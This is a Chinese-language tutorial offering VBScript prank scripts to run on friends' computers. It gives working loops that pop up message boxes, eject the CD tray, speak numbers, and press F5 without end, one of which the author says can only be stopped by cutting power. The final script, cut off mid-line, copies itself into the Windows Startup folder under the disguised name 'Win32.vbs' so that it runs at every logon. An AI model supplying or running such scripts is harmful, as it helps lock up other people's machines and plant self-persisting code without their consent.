新手教学(大神请跳到代码区):
- 编写vbs有多简单?新建“文本文档”,输入msgbox "一大波病毒正在靠近..." ,点击文件->另存为->重命名为“代码.vbs”。文件名不重要,重要的是后缀要是“.vbs”。
双击保存的文件:代码.vbs,即弹出一个对话框。记下这段小小的代码,去同学家里恶搞吧。当然你还可以输入其他有趣的文字。
当然,如此恶搞还是不够的。那就来一个无限循环吧,输入图中代码另存为vbs格式。双击打开。此时,会弹出提示对话框,点击确定和关闭按钮之后,再一次弹出窗口,如此循环,无法正常关闭。
那么到底要如何才能关闭呢?打开任务管理器结束进程“wscript.exe”即可
代码区
到此新手教学完毕,下面进入大神课堂教学。
无限弹出光驱:
------------------------------------------------
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
------------------------------------------------
无尽语音报数:
无限语音从1数到无限大。
------------------------------------------------
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
无尽刷新:
慎用,如此刷新打开任务管理器都难,只能拔掉电源。
------------------------------------------------
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
------------------------------------------------
修改注册表:
------------------------------------------------
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup")
if not f="Win32.vbs" then wr.copyfile f,q&"Win32.vbs